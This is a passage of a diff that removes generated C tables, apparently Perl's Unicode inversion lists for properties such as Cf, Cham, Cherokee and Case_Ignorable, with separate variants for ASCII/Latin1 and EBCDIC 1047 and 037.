148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xCA, - 0xCB, - 0x600, - 0x606, - 0x61C, - 0x61D, - 0x6DD, - 0x6DE, - 0x70F, - 0x710, - 0x8E2, - 0x8E3, - 0x180E, - 0x180F, - 0x200B, - 0x2010, - 0x202A, - 0x202F, - 0x2060, - 0x2065, - 0x2066, - 0x2070, - 0xFEFF, - 0xFF00, - 0xFFF9, - 0xFFFC, - 0x110BD, - 0x110BE, - 0x1BCA0, - 0x1BCA4, - 0x1D173, - 0x1D17B, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_CF_invlist[] = { /* for EBCDIC 037 */ - 37, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xCA, - 0xCB, - 0x600, - 0x606, - 0x61C, - 0x61D, - 0x6DD, - 0x6DE, - 0x70F, - 0x710, - 0x8E2, - 0x8E3, - 0x180E, - 0x180F, - 0x200B, - 0x2010, - 0x202A, - 0x202F, - 0x2060, - 0x2065, - 0x2066, - 0x2070, - 0xFEFF, - 0xFF00, - 0xFFF9, - 0xFFFC, - 0x110BD, - 0x110BE, - 0x1BCA0, - 0x1BCA4, - 0x1D173, - 0x1D17B, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_CHAM_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5C, - 0xAA60 -}; - -static const UV PL_CHER_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0xAB70, - 0xABC0 -}; - -static const UV PL_CHEROKEESUP_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xAB70, - 0xABC0 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_CI_invlist[] = { /* for ASCII/Latin1 */ - 763, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x27, - 0x28, - 0x2E, - 0x2F, - 0x3A, - 0x3B, - 0x5E, - 0x5F, - 0x60, - 0x61, - 0xA8, - 0xA9, - 0xAD, - 0xAE, - 0xAF, - 0xB0, - 0xB4, - 0xB5, - 0xB7, - 0xB9, - 0x2B0, - 0x370, - 0x374, - 0x376, - 0x37A, - 0x37B, - 0x384, - 0x386, - 0x387, - 0x388, - 0x483, - 0x48A, - 0x559, - 0x55A, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x5F4, - 0x5F5, - 0x600, - 0x606, - 0x610, - 0x61B, - 0x61C, - 0x61D, - 0x640, - 0x641, - 0x64B, - 0x660, - 0x670, - 0x671, - 0x6D6, - 0x6DE, - 0x6DF, - 0x6E9, - 0x6EA, - 0x6EE, - 0x70F, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74B, - 0x7A6, - 0x7B1, - 0x7EB, - 0x7F6, - 0x7FA, - 0x7FB, - 0x816, - 0x82E, - 0x859, - 0x85C, - 0x8D4, - 0x903, - 0x93A, - 0x93B, - 0x93C, - 0x93D, - 0x941, - 0x949, - 0x94D, - 0x94E, - 0x951, - 0x958, - 0x962, - 0x964, - 0x971, - 0x972, - 0x981, - 0x982, - 0x9BC, - 0x9BD, - 0x9C1, - 0x9C5, - 0x9CD, - 0x9CE, - 0x9E2, - 0x9E4, - 0xA01, - 0xA03, - 0xA3C, - 0xA3D, - 0xA41, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA70, - 0xA72, - 0xA75, - 0xA76, - 0xA81, - 0xA83, - 0xABC, - 0xABD, - 0xAC1, - 0xAC6, - 0xAC7, - 0xAC9, - 0xACD, - 0xACE, - 0xAE2, - 0xAE4, - 0xAFA, - 0xB00, - 0xB01, - 0xB02, - 0xB3C, - 0xB3D, - 0xB3F, - 0xB40, - 0xB41, - 0xB45, - 0xB4D, - 0xB4E, - 0xB56, - 0xB57, - 0xB62, - 0xB64, - 0xB82, - 0xB83, - 0xBC0, - 0xBC1, - 0xBCD, - 0xBCE, - 0xC00, - 0xC01, - 0xC3E, - 0xC41, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC62, - 0xC64, - 0xC81, - 0xC82, - 0xCBC, - 0xCBD, - 0xCBF, - 0xCC0, - 0xCC6, - 0xCC7, - 0xCCC, - 0xCCE, - 0xCE2, - 0xCE4, - 0xD00, - 0xD02, - 0xD3B, - 0xD3D, - 0xD41, - 0xD45, - 0xD4D, - 0xD4E, - 0xD62, - 0xD64, - 0xDCA, - 0xDCB, - 0xDD2, - 0xDD5, - 0xDD6, - 0xDD7, - 0xE31, - 0xE32, - 0xE34, - 0xE3B, - 0xE46, - 0xE4F, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBA, - 0xEBB, - 0xEBD, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xF18, - 0xF1A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF71, - 0xF7F, - 0xF80, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x102D, - 0x1031, - 0x1032, - 0x1038, - 0x1039, - 0x103B, - 0x103D, - 0x103F, - 0x1058, - 0x105A, - 0x105E, - 0x1061, - 0x1071, - 0x1075, - 0x1082, - 0x1083, - 0x1085, - 0x1087, - 0x108D, - 0x108E, - 0x109D, - 0x109E, - 0x10FC, - 0x10FD, - 0x135D, - 0x1360, - 0x1712, - 0x1715, - 0x1732, - 0x1735, - 0x1752, - 0x1754, - 0x1772, - 0x1774, - 0x17B4, - 0x17B6, - 0x17B7, - 0x17BE, - 0x17C6, - 0x17C7, - 0x17C9, - 0x17D4, - 0x17D7, - 0x17D8, - 0x17DD, - 0x17DE, - 0x180B, - 0x180F, - 0x1843, - 0x1844, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x1920, - 0x1923, - 0x1927, - 0x1929, - 0x1932, - 0x1933, - 0x1939, - 0x193C, - 0x1A17, - 0x1A19, - 0x1A1B, - 0x1A1C, - 0x1A56, - 0x1A57, - 0x1A58, - 0x1A5F, - 0x1A60, - 0x1A61, - 0x1A62, - 0x1A63, - 0x1A65, - 0x1A6D, - 0x1A73, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1AA7, - 0x1AA8, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B04, - 0x1B34, - 0x1B35, - 0x1B36, - 0x1B3B, - 0x1B3C, - 0x1B3D, - 0x1B42, - 0x1B43, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1B82, - 0x1BA2, - 0x1BA6, - 0x1BA8, - 0x1BAA, - 0x1BAB, - 0x1BAE, - 0x1BE6, - 0x1BE7, - 0x1BE8, - 0x1BEA, - 0x1BED, - 0x1BEE, - 0x1BEF, - 0x1BF2, - 0x1C2C, - 0x1C34, - 0x1C36, - 0x1C38, - 0x1C78, - 0x1C7E, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE1, - 0x1CE2, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF4, - 0x1CF5, - 0x1CF8, - 0x1CFA, - 0x1D2C, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1D9B, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FCD, - 0x1FD0, - 0x1FDD, - 0x1FE0, - 0x1FED, - 0x1FF0, - 0x1FFD, - 0x1FFF, - 0x200B, - 0x2010, - 0x2018, - 0x201A, - 0x2024, - 0x2025, - 0x2027, - 0x2028, - 0x202A, - 0x202F, - 0x2060, - 0x2065, - 0x2066, - 0x2070, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x20D0, - 0x20F1, - 0x2C7C, - 0x2C7E, - 0x2CEF, - 0x2CF2, - 0x2D6F, - 0x2D70, - 0x2D7F, - 0x2D80, - 0x2DE0, - 0x2E00, - 0x2E2F, - 0x2E30, - 0x3005, - 0x3006, - 0x302A, - 0x302E, - 0x3031, - 0x3036, - 0x303B, - 0x303C, - 0x3099, - 0x309F, - 0x30FC, - 0x30FF, - 0xA015, - 0xA016, - 0xA4F8, - 0xA4FE, - 0xA60C, - 0xA60D, - 0xA66F, - 0xA673, - 0xA674, - 0xA67E, - 0xA67F, - 0xA680, - 0xA69C, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA700, - 0xA722, - 0xA770, - 0xA771, - 0xA788, - 0xA78B, - 0xA7F8, - 0xA7FA, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA825, - 0xA827, - 0xA8C4, - 0xA8C6, - 0xA8E0, - 0xA8F2, - 0xA926, - 0xA92E, - 0xA947, - 0xA952, - 0xA980, - 0xA983, - 0xA9B3, - 0xA9B4, - 0xA9B6, - 0xA9BA, - 0xA9BC, - 0xA9BD, - 0xA9CF, - 0xA9D0, - 0xA9E5, - 0xA9E7, - 0xAA29, - 0xAA2F, - 0xAA31, - 0xAA33, - 0xAA35, - 0xAA37, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4D, - 0xAA70, - 0xAA71, - 0xAA7C, - 0xAA7D, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAADD, - 0xAADE, - 0xAAEC, - 0xAAEE, - 0xAAF3, - 0xAAF5, - 0xAAF6, - 0xAAF7, - 0xAB5B, - 0xAB60, - 0xABE5, - 0xABE6, - 0xABE8, - 0xABE9, - 0xABED, - 0xABEE, - 0xFB1E, - 0xFB1F, - 0xFBB2, - 0xFBC2, - 0xFE00, - 0xFE10, - 0xFE13, - 0xFE14, - 0xFE20, - 0xFE30, - 0xFE52, - 0xFE53, - 0xFE55, - 0xFE56, - 0xFEFF, - 0xFF00, - 0xFF07, - 0xFF08, - 0xFF0E, - 0xFF0F, - 0xFF1A, - 0xFF1B, - 0xFF3E, - 0xFF3F, - 0xFF40, - 0xFF41, - 0xFF70, - 0xFF71, - 0xFF9E, - 0xFFA0, - 0xFFE3, - 0xFFE4, - 0xFFF9, - 0xFFFC, - 0x101FD, - 0x101FE, - 0x102E0, - 0x102E1, - 0x10376, - 0x1037B, - 0x10A01, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A10, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10AE5, - 0x10AE7, - 0x11001, - 0x11002, - 0x11038, - 0x11047, - 0x1107F, - 0x11082, - 0x110B3, - 0x110B7, - 0x110B9, - 0x110BB, - 0x110BD, - 0x110BE, - 0x11100, - 0x11103, - 0x11127, - 0x1112C, - 0x1112D, - 0x11135, - 0x11173, - 0x11174, - 0x11180, - 0x11182, - 0x111B6, - 0x111BF, - 0x111CA, - 0x111CD, - 0x1122F, - 0x11232, - 0x11234, - 0x11235, - 0x11236, - 0x11238, - 0x1123E, - 0x1123F, - 0x112DF, - 0x112E0, - 0x112E3, - 0x112EB, - 0x11300, - 0x11302, - 0x1133C, - 0x1133D, - 0x11340, - 0x11341, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11438, - 0x11440, - 0x11442, - 0x11445, - 0x11446, - 0x11447, - 0x114B3, - 0x114B9, - 0x114BA, - 0x114BB, - 0x114BF, - 0x114C1, - 0x114C2, - 0x114C4, - 0x115B2, - 0x115B6, - 0x115BC, - 0x115BE, - 0x115BF, - 0x115C1, - 0x115DC, - 0x115DE, - 0x11633, - 0x1163B, - 0x1163D, - 0x1163E, - 0x1163F, - 0x11641, - 0x116AB, - 0x116AC, - 0x116AD, - 0x116AE, - 0x116B0, - 0x116B6, - 0x116B7, - 0x116B8, - 0x1171D, - 0x11720, - 0x11722, - 0x11726, - 0x11727, - 0x1172C, - 0x11A01, - 0x11A07, - 0x11A09, - 0x11A0B, - 0x11A33, - 0x11A39, - 0x11A3B, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A51, - 0x11A57, - 0x11A59, - 0x11A5C, - 0x11A8A, - 0x11A97, - 0x11A98, - 0x11A9A, - 0x11C30, - 0x11C37, - 0x11C38, - 0x11C3E, - 0x11C3F, - 0x11C40, - 0x11C92, - 0x11CA8, - 0x11CAA, - 0x11CB1, - 0x11CB2, - 0x11CB4, - 0x11CB5, - 0x11CB7, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D46, - 0x11D47, - 0x11D48, - 0x16AF0, - 0x16AF5, - 0x16B30, - 0x16B37, - 0x16B40, - 0x16B44, - 0x16F8F, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x1BC9D, - 0x1BC9F, - 0x1BCA0, - 0x1BCA4, - 0x1D167, - 0x1D16A, - 0x1D173, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E8D0, - 0x1E8D7, - 0x1E944, - 0x1E94B, - 0x1F3FB, - 0x1F400, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_CI_invlist[] = { /* for EBCDIC 1047 */ - 761, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4B, - 0x4C, - 0x5F, - 0x60, - 0x79, - 0x7B, - 0x7D, - 0x7E, - 0x9D, - 0x9E, - 0xB3, - 0xB4, - 0xBB, - 0xBD, - 0xBE, - 0xBF, - 0xCA, - 0xCB, - 0x2B0, - 0x370, - 0x374, - 0x376, - 0x37A, - 0x37B, - 0x384, - 0x386, - 0x387, - 0x388, - 0x483, - 0x48A, - 0x559, - 0x55A, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x5F4, - 0x5F5, - 0x600, - 0x606, - 0x610, - 0x61B, - 0x61C, - 0x61D, - 0x640, - 0x641, - 0x64B, - 0x660, - 0x670, - 0x671, - 0x6D6, - 0x6DE, - 0x6DF, - 0x6E9, - 0x6EA, - 0x6EE, - 0x70F, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74B, - 0x7A6, - 0x7B1, - 0x7EB, - 0x7F6, - 0x7FA, - 0x7FB, - 0x816, - 0x82E, - 0x859, - 0x85C, - 0x8D4, - 0x903, - 0x93A, - 0x93B, - 0x93C, - 0x93D, - 0x941, - 0x949, - 0x94D, - 0x94E, - 0x951, - 0x958, - 0x962, - 0x964, - 0x971, - 0x972, - 0x981, - 0x982, - 0x9BC, - 0x9BD, - 0x9C1, - 0x9C5, - 0x9CD, - 0x9CE, - 0x9E2, - 0x9E4, - 0xA01, - 0xA03, - 0xA3C, - 0xA3D, - 0xA41, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA70, - 0xA72, - 0xA75, - 0xA76, - 0xA81, - 0xA83, - 0xABC, - 0xABD, - 0xAC1, - 0xAC6, - 0xAC7, - 0xAC9, - 0xACD, - 0xACE, - 0xAE2, - 0xAE4, - 0xAFA, - 0xB00, - 0xB01, - 0xB02, - 0xB3C, - 0xB3D, - 0xB3F, - 0xB40, - 0xB41, - 0xB45, - 0xB4D, - 0xB4E, - 0xB56, - 0xB57, - 0xB62, - 0xB64, - 0xB82, - 0xB83, - 0xBC0, - 0xBC1, - 0xBCD, - 0xBCE, - 0xC00, - 0xC01, - 0xC3E, - 0xC41, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC62, - 0xC64, - 0xC81, - 0xC82, - 0xCBC, - 0xCBD, - 0xCBF, - 0xCC0, - 0xCC6, - 0xCC7, - 0xCCC, - 0xCCE, - 0xCE2, - 0xCE4, - 0xD00, - 0xD02, - 0xD3B, - 0xD3D, - 0xD41, - 0xD45, - 0xD4D, - 0xD4E, - 0xD62, - 0xD64, - 0xDCA, - 0xDCB, - 0xDD2, - 0xDD5, - 0xDD6, - 0xDD7, - 0xE31, - 0xE32, - 0xE34, - 0xE3B, - 0xE46, - 0xE4F, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBA, - 0xEBB, - 0xEBD, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xF18, - 0xF1A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF71, - 0xF7F, - 0xF80, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x102D, - 0x1031, - 0x1032, - 0x1038, - 0x1039, - 0x103B, - 0x103D, - 0x103F, - 0x1058, - 0x105A, - 0x105E, - 0x1061, - 0x1071, - 0x1075, - 0x1082, - 0x1083, - 0x1085, - 0x1087, - 0x108D, - 0x108E, - 0x109D, - 0x109E, - 0x10FC, - 0x10FD, - 0x135D, - 0x1360, - 0x1712, - 0x1715, - 0x1732, - 0x1735, - 0x1752, - 0x1754, - 0x1772, - 0x1774, - 0x17B4, - 0x17B6, - 0x17B7, - 0x17BE, - 0x17C6, - 0x17C7, - 0x17C9, - 0x17D4, - 0x17D7, - 0x17D8, - 0x17DD, - 0x17DE, - 0x180B, - 0x180F, - 0x1843, - 0x1844, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x1920, - 0x1923, - 0x1927, - 0x1929, - 0x1932, - 0x1933, - 0x1939, - 0x193C, - 0x1A17, - 0x1A19, - 0x1A1B, - 0x1A1C, - 0x1A56, - 0x1A57, - 0x1A58, - 0x1A5F, - 0x1A60, - 0x1A61, - 0x1A62, - 0x1A63, - 0x1A65, - 0x1A6D, - 0x1A73, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1AA7, - 0x1AA8, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B04, - 0x1B34, - 0x1B35, - 0x1B36, - 0x1B3B, - 0x1B3C, - 0x1B3D, - 0x1B42, - 0x1B43, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1B82, - 0x1BA2, - 0x1BA6, - 0x1BA8, - 0x1BAA, - 0x1BAB, - 0x1BAE, - 0x1BE6, - 0x1BE7, - 0x1BE8, - 0x1BEA, - 0x1BED, - 0x1BEE, - 0x1BEF, - 0x1BF2, - 0x1C2C, - 0x1C34, - 0x1C36, - 0x1C38, - 0x1C78, - 0x1C7E, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE1, - 0x1CE2, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF4, - 0x1CF5, - 0x1CF8, - 0x1CFA, - 0x1D2C, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1D9B, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FCD, - 0x1FD0, - 0x1FDD, - 0x1FE0, - 0x1FED, - 0x1FF0, - 0x1FFD, - 0x1FFF, - 0x200B, - 0x2010, - 0x2018, - 0x201A, - 0x2024, - 0x2025, - 0x2027, - 0x2028, - 0x202A, - 0x202F, - 0x2060, - 0x2065, - 0x2066, - 0x2070, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x20D0, - 0x20F1, - 0x2C7C, - 0x2C7E, - 0x2CEF, - 0x2CF2, - 0x2D6F, - 0x2D70, - 0x2D7F, - 0x2D80, - 0x2DE0, - 0x2E00, - 0x2E2F, - 0x2E30, - 0x3005, - 0x3006, - 0x302A, - 0x302E, - 0x3031, - 0x3036, - 0x303B, - 0x303C, - 0x3099, - 0x309F, - 0x30FC, - 0x30FF, - 0xA015, - 0xA016, - 0xA4F8, - 0xA4FE, - 0xA60C, - 0xA60D, - 0xA66F, - 0xA673, - 0xA674, - 0xA67E, - 0xA67F, - 0xA680, - 0xA69C, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA700, - 0xA722, - 0xA770, - 0xA771, - 0xA788, - 0xA78B, - 0xA7F8, - 0xA7FA, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA825, - 0xA827, - 0xA8C4, - 0xA8C6, - 0xA8E0, - 0xA8F2, - 0xA926, - 0xA92E, - 0xA947, - 0xA952, - 0xA980, - 0xA983, - 0xA9B3, - 0xA9B4, - 0xA9B6, - 0xA9BA, - 0xA9BC, - 0xA9BD, - 0xA9CF, - 0xA9D0, - 0xA9E5, - 0xA9E7, - 0xAA29, - 0xAA2F, - 0xAA31, - 0xAA33, - 0xAA35, - 0xAA37, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4D, - 0xAA70, - 0xAA71, - 0xAA7C, - 0xAA7D, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAADD, - 0xAADE, - 0xAAEC, - 0xAAEE, - 0xAAF3, - 0xAAF5, - 0xAAF6, - 0xAAF7, - 0xAB5B, - 0xAB60, - 0xABE5, - 0xABE6, - 0xABE8, - 0xABE9, - 0xABED, - 0xABEE, - 0xFB1E, - 0xFB1F, - 0xFBB2, - 0xFBC2, - 0xFE00, - 0xFE10, - 0xFE13, - 0xFE14, - 0xFE20, - 0xFE30, - 0xFE52, - 0xFE53, - 0xFE55, - 0xFE56, - 0xFEFF, - 0xFF00, - 0xFF07, - 0xFF08, - 0xFF0E, - 0xFF0F, - 0xFF1A, - 0xFF1B, - 0xFF3E, - 0xFF3F, - 0xFF40, - 0xFF41, - 0xFF70, - 0xFF71, - 0xFF9E, - 0xFFA0, - 0xFFE3, - 0xFFE4, - 0xFFF9, - 0xFFFC, - 0x101FD, - 0x101FE, - 0x102E0, - 0x102E1, - 0x10376, - 0x1037B, - 0x10A01, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A10, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10AE5, - 0x10AE7, - 0x11001, - 0x11002, - 0x11038, - 0x11047, - 0x1107F, - 0x11082, - 0x110B3, - 0x110B7, - 0x110B9, - 0x110BB, - 0x110BD, - 0x110BE, - 0x11100, - 0x11103, - 0x11127, - 0x1112C, - 0x1112D, - 0x11135, - 0x11173, - 0x11174, - 0x11180, - 0x11182, - 0x111B6, - 0x111BF, - 0x111CA, - 0x111CD, - 0x1122F, - 0x11232, - 0x11234, - 0x11235, - 0x11236, - 0x11238, - 0x1123E, - 0x1123F, - 0x112DF, - 0x112E0, - 0x112E3, - 0x112EB, - 0x11300, - 0x11302, - 0x1133C, - 0x1133D, - 0x11340, - 0x11341, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11438, - 0x11440, - 0x11442, - 0x11445, - 0x11446, - 0x11447, - 0x114B3, - 0x114B9, - 0x114BA, - 0x114BB, - 0x114BF, - 0x114C1, - 0x114C2, - 0x114C4, - 0x115B2, - 0x115B6, - 0x115BC, - 0x115BE, - 0x115BF, - 0x115C1, - 0x115DC, - 0x115DE, - 0x11633, - 0x1163B, - 0x1163D, - 0x1163E, - 0x1163F, - 0x11641, - 0x116AB, - 0x116AC, - 0x116AD, - 0x116AE, - 0x116B0, - 0x116B6, - 0x116B7, - 0x116B8, - 0x1171D, - 0x11720, - 0x11722, - 0x11726, - 0x11727, - 0x1172C, - 0x11A01, - 0x11A07, - 0x11A09, - 0x11A0B, - 0x11A33, - 0x11A39, - 0x11A3B, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A51, - 0x11A57, - 0x11A59, - 0x11A5C, - 0x11A8A, - 0x11A97, - 0x11A98, - 0x11A9A, - 0x11C30, - 0x11C37, - 0x11C38, - 0x11C3E, - 0x11C3F, - 0x11C40, - 0x11C92, - 0x11CA8, - 0x11CAA, - 0x11CB1, - 0x11CB2, - 0x11CB4, - 0x11CB5, - 0x11CB7, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D46, - 0x11D47, - 0x11D48, - 0x16AF0, - 0x16AF5, - 0x16B30, - 0x16B37, - 0x16B40, - 0x16B44, - 0x16F8F, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x1BC9D, - 0x1BC9F, - 0x1BCA0, - 0x1BCA4, - 0x1D167, - 0x1D16A, - 0x1D173, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E8D0, - 0x1E8D7, - 0x1E944, - 0x1E94B, - 0x1F3FB, - 0x1F400, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_CI_invlist[] = { /* for EBCDIC 037 */ - 759, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4B, - 0x4C, - 0x79, - 0x7B, - 0x7D, - 0x7E, - 0x9D, - 0x9E, - 0xB0, - 0xB1, - 0xB3, - 0xB4, - 0xBC, - 0xBF, - 0xCA, - 0xCB, - 0x2B0, - 0x370, - 0x374, - 0x376, - 0x37A, - 0x37B, - 0x384, - 0x386, - 0x387, - 0x388, - 0x483, - 0x48A, - 0x559, - 0x55A, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x5F4, - 0x5F5, - 0x600, - 0x606, - 0x610, - 0x61B, - 0x61C, - 0x61D, - 0x640, - 0x641, - 0x64B, - 0x660, - 0x670, - 0x671, - 0x6D6, - 0x6DE, - 0x6DF, - 0x6E9, - 0x6EA, - 0x6EE, - 0x70F, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74B, - 0x7A6, - 0x7B1, - 0x7EB, - 0x7F6, - 0x7FA, - 0x7FB, - 0x816, - 0x82E, - 0x859, - 0x85C, - 0x8D4, - 0x903, - 0x93A, - 0x93B, - 0x93C, - 0x93D, - 0x941, - 0x949, - 0x94D, - 0x94E, - 0x951, - 0x958, - 0x962, - 0x964, - 0x971, - 0x972, - 0x981, - 0x982, - 0x9BC, - 0x9BD, - 0x9C1, - 0x9C5, - 0x9CD, - 0x9CE, - 0x9E2, - 0x9E4, - 0xA01, - 0xA03, - 0xA3C, - 0xA3D, - 0xA41, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA70, - 0xA72, - 0xA75, - 0xA76, - 0xA81, - 0xA83, - 0xABC, - 0xABD, - 0xAC1, - 0xAC6, - 0xAC7, - 0xAC9, - 0xACD, - 0xACE, - 0xAE2, - 0xAE4, - 0xAFA, - 0xB00, - 0xB01, - 0xB02, - 0xB3C, - 0xB3D, - 0xB3F, - 0xB40, - 0xB41, - 0xB45, - 0xB4D, - 0xB4E, - 0xB56, - 0xB57, - 0xB62, - 0xB64, 